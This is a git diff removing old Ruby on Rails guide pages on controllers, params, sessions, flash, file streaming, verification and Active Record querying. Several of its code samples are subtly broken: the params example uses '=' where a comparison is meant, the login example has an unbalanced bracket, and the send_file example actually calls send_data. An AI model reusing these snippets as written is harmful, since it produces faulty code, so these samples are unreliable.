+++ /dev/null
@@ -1,39 +0,0 @@
-== Methods and Actions ==
-
-A controller is a Ruby class which inherits from ApplicationController and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the public method with the same name as the action.
-
-[source, ruby]
-----------------------------------------------
-class ClientsController < ApplicationController
-
- # Actions are public methods
- def new
- end
-
- # Action methods are responsible for producing output
- def edit
- end
-
-# Helper methods are private and can not be used as actions
-private
-
- def foo
- end
-
-end
-----------------------------------------------
-
-There's no rule saying a method on a controller has to be an action; they may well be used for other purposes such as filters, which will be covered later in this guide.
-
-As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of ClientsController and run the `new` method. Note that the empty method from the example above could work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new Client:
-
-[source, ruby]
-----------------------------------------------
-def new
- @client = Client.new
-end
-----------------------------------------------
-
-The link:../layouts_and_rendering.html[Layouts & rendering guide] explains this in more detail.
-
-ApplicationController inherits from ActionController::Base, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
diff --git a/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt b/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt
deleted file mode 100644
index 0013492b73..0000000000
--- a/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-== Parameter Filtering ==
-
-Rails keeps a log file for each environment (development, test and production) in the `log` folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The `filter_parameter_logging` method can be used to filter out sensitive information from the log. It works by replacing certain values in the `params` hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password":
-
-[source, ruby]
--------------------------
-class ApplicationController < ActionController::Base
-
- filter_parameter_logging :password
-
-end
--------------------------
-
-The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in turn and replaces those for which the block returns true.
diff --git a/railties/doc/guides/source/actioncontroller_basics/params.txt b/railties/doc/guides/source/actioncontroller_basics/params.txt
deleted file mode 100644
index e8a2d3d058..0000000000
--- a/railties/doc/guides/source/actioncontroller_basics/params.txt
+++ /dev/null
@@ -1,93 +0,0 @@
-== Parameters ==
-
-You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from a HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the `params` hash in your controller:
-
-[source, ruby]
--------------------------------------
-class ClientsController < ActionController::Base
-
- # This action uses query string parameters because it gets run by a HTTP
- # GET request, but this does not make any difference to the way in which
- # the parameters are accessed. The URL for this action would look like this
- # in order to list activated clients: /clients?status=activated
- def index
- if params[:status] = "activated"
- @clients = Client.activated
- else
- @clients = Client.unativated
- end
- end
-
- # This action uses POST parameters. They are most likely coming from an HTML
- # form which the user has submitted. The URL for this RESTful request will
- # be "/clients", and the data will be sent as part of the request body.
- def create
- @client = Client.new(params[:client])
- if @client.save
- redirect_to @client
- else
- # This line overrides the default rendering behavior, which would have been
- # to render the "create" view.
- render :action => "new"
- end
- end
-
-end
--------------------------------------
-
-=== Hash and Array Parameters ===
-
-The params hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append "[]" to the key name:
-
--------------------------------------
-GET /clients?ids[]=1&ids[]=2&ids[]=3
--------------------------------------
-
-NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5b=3" as [ and ] are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
-
-The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
-
-To send a hash you include the key name inside the brackets:
-
--------------------------------------
-<form action="/clients" method="post">
- <input type="text" name="client[name]" value="Acme" />
- <input type="text" name="client[phone]" value="12345" />
- <input type="text" name="client[address][postcode]" value="12345" />
- <input type="text" name="client[address][city]" value="Carrot City" />
-</form>
--------------------------------------
-
-The value of `params[:client]` when this form is submitted will be `{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}`. Note the nested hash in `params[:client][:address]`.
-
-Note that the params hash is actually an instance of HashWithIndifferentAccess from Active Support which is a subclass of Hash which lets you use symbols and strings interchangeably as keys.
-
-=== Routing Parameters ===
-
-The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id` will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL:
-
-[source, ruby]
-------------------------------------
-# ...
-map.connect "/clients/:status", :controller => "clients", :action => "index", :foo => "bar"
-# ...
-------------------------------------
-
-In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar" just like it was passed in the query string in the same way `params[:action]` will contain "index".
-
-=== `default_url_options` ===
-
-You can set global default parameters that will be used when generating URLs with `default_url_options`. To do this, define a method with that name in your controller:
-
-------------------------------------
-class ApplicationController < ActionController::Base
-
- #The options parameter is the hash passed in to +url_for+
- def default_url_options(options)
- {:locale => I18n.locale}
- end
-
-end
-------------------------------------
-
-These options will be used as a starting-point when generating, so it's possible they'll be overridden by +url_for+. Because this method is defined in the controller, you can define it on ApplicationController so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.
diff --git a/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt b/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt
deleted file mode 100644
index 846c24052d..0000000000
--- a/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-== The +request+ and +response+ Objects ==
-
-In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The `request` method contains an instance of AbstractRequest and the `response` method returns a +response+ object representing what is going to be sent back to the client.
-
-=== The +request+ Object ===
-
-The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the link:http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html[API documentation]. Among the properties that you can access on this object are:
-
- * host - The hostname used for this request.
- * domain(n=2) - The hostname's first `n` segments, starting from the right (the TLD)
- * format - The content type requested by the client.
- * method - The HTTP method used for the request.
- * get?, post?, put?, delete?, head? - Returns true if the HTTP method is GET/POST/PUT/DELETE/HEAD.
- * headers - Returns a hash containing the headers associated with the request.
- * port - The port number (integer) used for the request.
- * protocol - Returns a string containing the prototol used plus "://", for example "http://"
- * query_string - The query string part of the URL - everything after "?".
- * remote_ip - The IP address of the client.
- * url - The entire URL used for the request.
-
-==== +path_parameters+, +query_parameters+ and +request_parameters+ ====
-
-Rails collects all of the parameters sent along with the request in the `params` hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The `query_parameters` hash contains parameters that were sent as part of the query string while the `request_parameters` hash contains parameters sent as part of the post body. The `path_parameters` hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.
-
-=== The +response+ Object ===
-
-The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.
-
- * body - This is the string of data being sent back to the client. This is most often HTML.
- * status - The HTTP status code for the response, like 200 for a successful request or 404 for file not found.
- * location - The URL the client is being redirected to, if any.
- * content_type - The content type of the response.
- * charset - The character set being used for the response. Default is "utf8".
- * headers - Headers used for the response.
-
-==== Setting Custom Headers ====
-
-If you want to set custom headers for a response then `response.headers` is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them - like "Content-Type" - automatically. If you want to add or change a header, just assign it to `headers` with the name and value:
-
-[source, ruby]
--------------------------------------
-response.headers["Content-Type"] = "application/pdf"
--------------------------------------
diff --git a/railties/doc/guides/source/actioncontroller_basics/rescue.txt b/railties/doc/guides/source/actioncontroller_basics/rescue.txt
deleted file mode 100644
index 3353df617c..0000000000
--- a/railties/doc/guides/source/actioncontroller_basics/rescue.txt
+++ /dev/null
@@ -1,67 +0,0 @@
-== Rescue ==
-
-Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception. Rails' default exception handling displays a 500 Server Error message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:
-
-=== The Default 500 and 404 Templates ===
-
-By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the `public` folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
-
-=== `rescue_from` ===
-
-If you want to do something a bit more elaborate when catching errors, you can use `rescue_from`, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. When an exception occurs which is caught by a +rescue_from+ directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the `:with` option. You can also use a block directly instead of an explicit Proc object.
-
-Here's how you can use +rescue_from+ to intercept all ActiveRecord::RecordNotFound errors and do something with them.
-
-[source, ruby]
------------------------------------
-class ApplicationController < ActionController::Base
-
- rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found
-
-private
-
- def record_not_found
- render :text => "404 Not Found", :status => 404
- end
-
-end
------------------------------------
-
-Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
-
-[source, ruby]
------------------------------------
-class ApplicationController < ActionController::Base
-
- rescue_from User::NotAuthorized, :with => :user_not_authorized
-
-private
-
- def user_not_authorized
- flash[:error] = "You don't have access to this section."
- redirect_to :back
- end
-
-end
-
-class ClientsController < ApplicationController
-
- # Check that the user has the right authorization to access clients.
- before_filter :check_authorization
-
- # Note how the actions don't have to worry about all the auth stuff.
- def edit
- @client = Client.find(params[:id])
- end
-
-private
-
- # If the user is not authorized, just throw the exception.
- def check_authorization
- raise User::NotAuthorized unless current_user.admin?
- end
-
-end
------------------------------------
-
-NOTE: Certain exceptions are only rescuable from the ApplicationController class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's link:http://m.onkey.org/2008/7/20/rescue-from-dispatching[article] on the subject for more information.
diff --git a/railties/doc/guides/source/actioncontroller_basics/session.txt b/railties/doc/guides/source/actioncontroller_basics/session.txt
deleted file mode 100644
index 24818fcb2d..0000000000
--- a/railties/doc/guides/source/actioncontroller_basics/session.txt
+++ /dev/null
@@ -1,156 +0,0 @@
-== Session ==
-
-Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
-
- * CookieStore - Stores everything on the client.
- * DRbStore - Stores the data on a DRb server.
- * MemCacheStore - Stores the data in a memcache.
- * ActiveRecordStore - Stores the data in a database using Active Record.
-
-All session stores use a cookie - this is required and Rails does not allow any part of the session to be passed in any other way (e.g. you can't use the query string to pass a session ID) because of security concerns (it's easier to hijack a session when the ID is part of the URL).
-
-Most stores use a cookie to store the session ID which is then used to look up the session data on the server. The default and recommended store, the CookieStore, does not store session data on the server, but in the cookie itself. The data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). It can only store about 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. The CookieStore has the added advantage that it does not require any setting up beforehand - Rails will generate a "secret key" which will be used to sign the cookie when you create the application.
-
-Read more about session storage in the link:../security.html[Security Guide].
-
-If you need a different session storage mechanism, you can change it in the `config/environment.rb` file:
-
-[source, ruby]
-------------------------------------------
-# Set to one of [:active_record_store, :drb_store, :mem_cache_store, :cookie_store]
-config.action_controller.session_store = :active_record_store
-------------------------------------------
-
-=== Accessing the Session ===
-
-In your controller you can access the session through the `session` instance method.
-
-NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.
-
-Session values are stored using key/value pairs like a hash:
-
-[source, ruby]
-------------------------------------------
-class ApplicationController < ActionController::Base
-
-private
-
- # Finds the User with the ID stored in the session with the key :current_user_id
- # This is a common way to handle user login in a Rails application; logging in sets the
- # session value and logging out removes it.
- def current_user
- @_current_user ||= session[:current_user_id] && User.find(session[:current_user_id])
- end
-
-end
-------------------------------------------
-
-To store something in the session, just assign it to the key like a hash:
-
-[source, ruby]
-------------------------------------------
-class LoginsController < ApplicationController
-
- # "Create" a login, aka "log the user in"
- def create
- if user = User.authenticate(params[:username, params[:password])
- # Save the user ID in the session so it can be used in subsequent requests
- session[:current_user_id] = user.id
- redirect_to root_url
- end
- end
-
-end
-------------------------------------------
-
-To remove something from the session, assign that key to be `nil`:
-
-[source, ruby]
-------------------------------------------
-class LoginsController < ApplicationController
-
- # "Delete" a login, aka "log the user out"
- def destroy
- # Remove the user id from the session
- session[:current_user_id] = nil
- redirect_to root_url
- end
-
-end
-------------------------------------------
-
-To reset the entire session, use `reset_session`.
-
-=== The flash ===
-
-The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
-
-[source, ruby]
-------------------------------------------
-class LoginsController < ApplicationController
-
- def destroy
- session[:current_user_id] = nil
- flash[:notice] = "You have successfully logged out"
- redirect_to root_url
- end
-
-end
-------------------------------------------
-
-The `destroy` action redirects to the application's `root_url`, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:
-
-------------------------------------------
-<html>
- <!-- <head/> -->
- <body>
- <% if flash[:notice] -%>
- <p class="notice"><%= flash[:notice] %></p>
- <% end -%>
- <% if flash[:error] -%>
- <p class="error"><%= flash[:error] %></p>
- <% end -%>
- <!-- more content -->
- </body>
-</html>
-------------------------------------------
-
-This way, if an action sets an error or a notice message, the layout will display it automatically.
-
-If you want a flash value to be carried over to another request, use the `keep` method:
-
-[source, ruby]
-------------------------------------------
-class MainController < ApplicationController
-
- # Let's say this action corresponds to root_url, but you want all requests here to be redirected to
- # UsersController#index. If an action sets the flash and redirects here, the values would normally be
- # lost when another redirect happens, but you can use keep to make it persist for another request.
- def index
- flash.keep # Will persist all flash values. You can also use a key to keep only that value: flash.keep(:notice)
- redirect_to users_url
- end
-
-end
-------------------------------------------
-
-==== +flash.now+ ====
-
-By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the `create` action fails to save a resource and you render the `new` template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use `flash.now` in the same way you use the normal `flash`:
-
-[source, ruby]
-------------------------------------------
-class ClientsController < ApplicationController
-
- def create
- @client = Client.new(params[:client])
- if @client.save
- # ...
- else
- flash.now[:error] = "Could not save client"
- render :action => "new"
- end
- end
-
-end
-------------------------------------------
diff --git a/railties/doc/guides/source/actioncontroller_basics/streaming.txt b/railties/doc/guides/source/actioncontroller_basics/streaming.txt
deleted file mode 100644
index 2a930835ee..0000000000
--- a/railties/doc/guides/source/actioncontroller_basics/streaming.txt
+++ /dev/null
@@ -1,91 +0,0 @@
-== Streaming and File Downloads ==
-
-Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the `send_data` and the `send_file` methods, that will both stream data to the client. `send_file` is a convenience method which lets you provide the name of a file on the disk and it will stream the contents of that file for you.
-
-To stream data to the client, use `send_data`:
-
-[source, ruby]
-----------------------------
-require "prawn"
-class ClientsController < ApplicationController
-
- # Generate a PDF document with information on the client and return it.
- # The user will get the PDF as a file download.
- def download_pdf
- client = Client.find(params[:id])
- send_data(generate_pdf, :filename => "#{client.name}.pdf", :type => "application/pdf")
- end
-
-private
-
- def generate_pdf(client)
- Prawn::Document.new do
- text client.name, :align => :center
- text "Address: #{client.address}"
- text "Email: #{client.email}"
- end.render
- end
-
-end
-----------------------------
-
-The `download_pdf` action in the example above will call a private method which actually generates the file (a PDF document) and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the `:disposition` option to "inline". The opposite and default value for this option is "attachment".
-
-=== Sending Files ===
-
-If you want to send a file that already exists on disk, use the `send_file` method. This is usually not recommended, but can be useful if you want to perform some authentication before letting the user download the file.
-
-[source, ruby]
-----------------------------
-class ClientsController < ApplicationController
-
- # Stream a file that has already been generated and stored on disk
- def download_pdf
- client = Client.find(params[:id])
- send_data("#{RAILS_ROOT}/files/clients/#{client.id}.pdf", :filename => "#{client.name}.pdf", :type => "application/pdf")
- end
-
-end
-----------------------------
-
-This will read and stream the file 4Kb at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the `:stream` option or adjust the block size with the `:buffer_size` option.
-
-WARNING: Be careful when using (or just don't use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.
-
-TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the `:x_sendfile` option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the `X-Sendfile` header for this to work, and you still have to be careful not to use user input in a way that lets someone retrieve arbitrary files.
-
-=== RESTful Downloads ===
-
-While `send_data` works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the `show` action, without any streaming:
-
-[source, ruby]
-----------------------------
-class ClientsController < ApplicationController
-
- # The user can request to receive this resource as HTML or PDF.
- def show
- @client = Client.find(params[:id])
-
- respond_to do |format|
- format.html
- format.pdf{ render :pdf => generate_pdf(@client) }
- end
- end
-
-end
-----------------------------
-
-In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file `config/initializers/mime_types.rb`:
-
-[source, ruby]
-----------------------------
-Mime::Type.register "application/pdf", :pdf
-----------------------------
-
-NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
-
-Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
-
-----------------------------
-GET /clients/1.pdf
-----------------------------
diff --git a/railties/doc/guides/source/actioncontroller_basics/verification.txt b/railties/doc/guides/source/actioncontroller_basics/verification.txt
deleted file mode 100644
index a4522a0102..0000000000
--- a/railties/doc/guides/source/actioncontroller_basics/verification.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-== Verification ==
-
-Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the `params`, `session` or `flash` hashes or that a certain HTTP method was used or that the request was made using XMLHTTPRequest (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the link:http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html[API documentation] as "essentially a special kind of before_filter".
-
-Here's an example of using verification to make sure the user supplies a username and a password in order to log in:
-
-[source, ruby]
----------------------------------------
-class LoginsController < ApplicationController
-
- verify :params => [:username, :password],
- :render => {:action => "new"},
- :add_flash => {:error => "Username and password required to log in"}
-
- def create
- @user = User.authenticate(params[:username], params[:password])
- if @user
- flash[:notice] = "You're logged in"
- redirect_to root_url
- else
- render :action => "new"
- end
- end
-
-end
----------------------------------------
-
-Now the `create` action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the `new` action will be rendered. But there's something rather important missing from the verification above: It will be used for *every* action in LoginsController, which is not what we want. You can limit which actions it will be used for with the `:only` and `:except` options just like a filter:
-
-[source, ruby]
----------------------------------------
-class LoginsController < ApplicationController
-
- verify :params => [:username, :password],
- :render => {:action => "new"},
- :add_flash => {:error => "Username and password required to log in"},
- :only => :create # Only run this verification for the "create" action
-
-end
----------------------------------------
diff --git a/railties/doc/guides/source/active_record_basics.txt b/railties/doc/guides/source/active_record_basics.txt
deleted file mode 100644
index 367a1bba5e..0000000000
--- a/railties/doc/guides/source/active_record_basics.txt
+++ /dev/null
@@ -1,154 +0,0 @@
-Active Record Basics
-====================
-
-Active Record is a design pattern that mitigates the mind-numbing mental gymnastics often needed to get your application to communicate with a database. This guide uses a mix of real-world examples, metaphors and detailed explanations of the actual Rails source code to help you make the most of ActiveRecord.
-
-After reading this guide readers should have a strong grasp of the Active Record pattern and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make them a stronger and better developer.
-
-== ORM The Blueprint of Active Record
-
-If Active Record is the engine of Rails then ORM is the blueprint of that engine. ORM is short for “Object Relational Mapping” and is a programming concept used to make structures within a system relational. As a thought experiment imagine the components that make up a typical car. There are doors, seats, windows, engines etc. Viewed independently they are simple parts, yet when bolted together through the aid of a blueprint, the parts become a more complex device. ORM is the blueprint that describes how the individual parts relate to one another and in some cases infers the part’s purpose through the way the associations are described.
-
-== Active Record The Engine of Rails
-
-Active Record is a design pattern used to access data within a database. The name “Active Record” was coined by Martin Fowler in his book “Patterns of Enterprise Application Architecture”. Essentially, when a record is returned from the database instead of being just the data it is wrapped in a class, which gives you methods to control that data with. The rails framework is built around the MVC (Model View Controller) design patten and the Active Record is used as the default Model.
-
-The Rails community added several useful concepts to their version of Active Record, including inheritance and associations, which are extremely useful for web applications. The associations are created by using a DSL (domain specific language) of macros, and inheritance is achieved through the use of STI (Single Table Inheritance) at the database level.
-
-By following a few simple conventions the Rails Active Record will automatically map between:
-
-* Classes & Database Tables
-* Class attributes & Database Table Columns
-
-=== Rails Active Record Conventions
-Here are the key conventions to consider when using Active Record.
-
-==== Naming Conventions
-Database Table - Plural with underscores separating words i.e. (book_clubs)
-Model Class - Singular with the first letter of each word capitalized i.e. (BookClub)
-Here are some additional Examples:
-
-[grid="all"]
-`-------------`---------------
-Model / Class Table / Schema
-----------------------------
-Post posts
-LineItem line_items
-Deer deer
-Mouse mice
-Person people
-----------------------------
-
-==== Schema Conventions
-
-To take advantage of some of the magic of Rails database tables must be modeled
-to reflect the ORM decisions that Rails makes.
-
-[grid="all"]
-`-------------`---------------------------------------------------------------------------------
-Convention
--------------------------------------------------------------------------------------------------
-Foreign keys These fields are named table_id i.e. (item_id, order_id)
-Primary Key Rails automatically creates a primary key column named "id" unless told otherwise.
--------------------------------------------------------------------------------------------------
-
-==== Magic Field Names
-
-When these optional fields are used in your database table definition they give the Active Record
-instance additional features.
-
-NOTE: While these column names are optional they are in fact reserved by ActiveRecord. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword
-used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous
-keyword like "context", that may still accurately describe the data you are modeling.
-
-[grid="all"]
-`------------------------`------------------------------------------------------------------------------
-Attribute Purpose
-------------------------------------------------------------------------------------------------------
-created_at / created_on Rails stores the current date & time to this field when creating the record.
-updated_at / updated_on Rails stores the current date & time to this field when updating the record.
-lock_version Adds optimistic locking to a model link:http://api.rubyonrails.com/classes/ActiveRecord/Locking.html[more about optimistic locking].
-type Specifies that the model uses Single Table Inheritance link:http://api.rubyonrails.com/classes/ActiveRecord/Base.html[more about STI].
-id All models require an id. the default is name is "id" but can be changed using the "set_primary_key" or "primary_key" methods.
-_table_name_\_count Can be used to caches the number of belonging objects on the associated class.
-------------------------------------------------------------------------------------------------------
-
-By default rails assumes all tables will use “id” as their primary key to identify each record. Though fortunately you won’t have explicitly declare this, Rails will automatically create that field unless you tell it not to.
-
-For example suppose you created a database table called cars:
-
-[source, sql]
--------------------------------------------------------
-mysql> CREATE TABLE cars (
- id INT,
- color VARCHAR(100),
- doors INT,
- horses INT,
- model VARCHAR(100)
- );
--------------------------------------------------------
-
-Now you created a class named Car, which is to represent an instance of a record from your table.
-
-[source, ruby]
--------------------------------------------------------
-class Car
-end
--------------------------------------------------------
-
-As you might expect without defining the explicit mappings between your class and the table it is impossible for Rails or any other program to correctly map those relationships.
-
-[source, ruby]
--------------------------------------------------------
->> c = Car.new
-=> #<Class:0x11e1e90>
->> c.doors
-NoMethodError: undefined method `doors' for #<Class:0x11e1e90>
- from (irb):2
--------------------------------------------------------
-
-Now you could define a door methods to write and read data to and from the database. In a nutshell this is what ActiveRecord does. According to the Rails API:
-“Active Record objects don‘t specify their attributes directly, but rather infer them from the table definition with which they‘re linked. Adding, removing, and changing attributes and their type is done directly in the database. Any change is instantly reflected in the Active Record objects. The mapping that binds a given Active Record class to a certain database table will happen automatically in most common cases, but can be overwritten for the uncommon ones.”
-Lets try our Car class again, this time inheriting from ActiveRecord.
-
-[source, ruby]
--------------------------------------------------------
-class Car < ActiveRecord::Base
-end
--------------------------------------------------------
-
-Now if we try to access an attribute of the table ActiveRecord automatically handles the mappings for us, as you can see in the following example.
-
-[source, ruby]
--------------------------------------------------------
->> c = Car.new
-=> #<Car id: nil, doors: nil, color: nil, horses: nil, model: nil>
->> c.doors
-=> nil
--------------------------------------------------------
-
-Rails further extends this model by giving each ActiveRecord a way of describing the variety of ways records are associated with one another. We will touch on some of these associations later in the guide but I encourage readers who are interested to read the guide to ActiveRecord associations for an in-depth explanation of the variety of ways rails can model associations.
-- Associations between objects controlled by meta-programming macros.
-
-== Philosophical Approaches & Common Conventions
-Rails has a reputation of being a zero-config framework which means that it aims to get you off the ground with as little pre-flight checking as possible. This speed benefit is achieved by following “Convention over Configuration”, which is to say that if you agree to live with the defaults then you benefit from a the inherent speed-boost. As Courtneay Gasking put it to me once “You don’t want to off-road on Rails”. ActiveRecord is no different, while it’s possible to override or subvert any of the conventions of AR, unless you have a good reason for doing so you will probably be happy with the defaults. The following is a list of the common conventions of ActiveRecord
-
-== ActiveRecord Magic
- - timestamps
- - updates
-
-== How ActiveRecord Maps your Database.
-- sensible defaults
-- overriding conventions
-
-== Growing Your Database Relationships Naturally
-
-== Attributes
- - attribute accessor method. How to override them?
- - attribute?
- - dirty records
- -
-== ActiveRecord handling the CRUD of your Rails application - Understanding the life-cycle of an ActiveRecord
-
-== Validations & Callbacks
-see the Validations & Callbacks guide for more info. \ No newline at end of file
diff --git a/railties/doc/guides/source/active_record_querying.txt b/railties/doc/guides/source/active_record_querying.txt
deleted file mode 100644
index c0aa5482d5..0000000000
--- a/railties/doc/guides/source/active_record_querying.txt
+++ /dev/null
@@ -1,774 +0,0 @@
-Active Record Query Interface
-=============================
-
-This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to:
-
-* Find records using a variety of methods and conditions
-* Specify the order, retrieved attributes, grouping, and other properties of the found records
-* Use eager loading to reduce the number of database queries needed for data retrieval
-* Use dynamic finders methods
-* Create named scopes to add custom finding behavior to your models
-* Check for the existence of particular records
-* Perform various calculations on Active Record models
-
-If you're used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
-
-Code examples throughout this guide will refer to one or more of the following models:
-
-[source,ruby]
--------------------------------------------------------
-class Client < ActiveRecord::Base
- has_one :address
- has_one :mailing_address
- has_many :orders
- has_and_belongs_to_many :roles
-end
--------------------------------------------------------
-
-[source,ruby]
--------------------------------------------------------
-class Address < ActiveRecord::Base
- belongs_to :client
-end
--------------------------------------------------------
-
-[source,ruby]
--------------------------------------------------------
-class MailingAddress < Address
-end
--------------------------------------------------------
-
-[source,ruby]
--------------------------------------------------------
-class Order < ActiveRecord::Base
- belongs_to :client, :counter_cache => true
-end
--------------------------------------------------------
-
-[source,ruby]
--------------------------------------------------------
-class Role < ActiveRecord::Base
- has_and_belongs_to_many :clients
-end
--------------------------------------------------------
-
-****
-Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.
-****
-
-== Retrieving objects
-
-To retrieve objects from the database, Active Record provides a primary method called +find+. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type +Client.find(1)+ which would execute this query on your database:
-
-[source, sql]
--------------------------------------------------------
-SELECT * FROM clients WHERE (clients.id = 1)
--------------------------------------------------------
-
-NOTE: Because this is a standard table created from a migration in Rails, the primary key is defaulted to 'id'. If you have specified a different primary key in your migrations, this is what Rails will find on when you call the find method, not the id column.
-
-If you wanted to find clients with id 1 or 2, you call +Client.find([1,2])+ or +Client.find(1,2)+ and then this will be executed as:
-
-[source, sql]
--------------------------------------------------------
-SELECT * FROM clients WHERE (clients.id IN (1,2))
--------------------------------------------------------
-
--------------------------------------------------------
->> Client.find(1,2)
-=> [#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
- created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">,
- #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
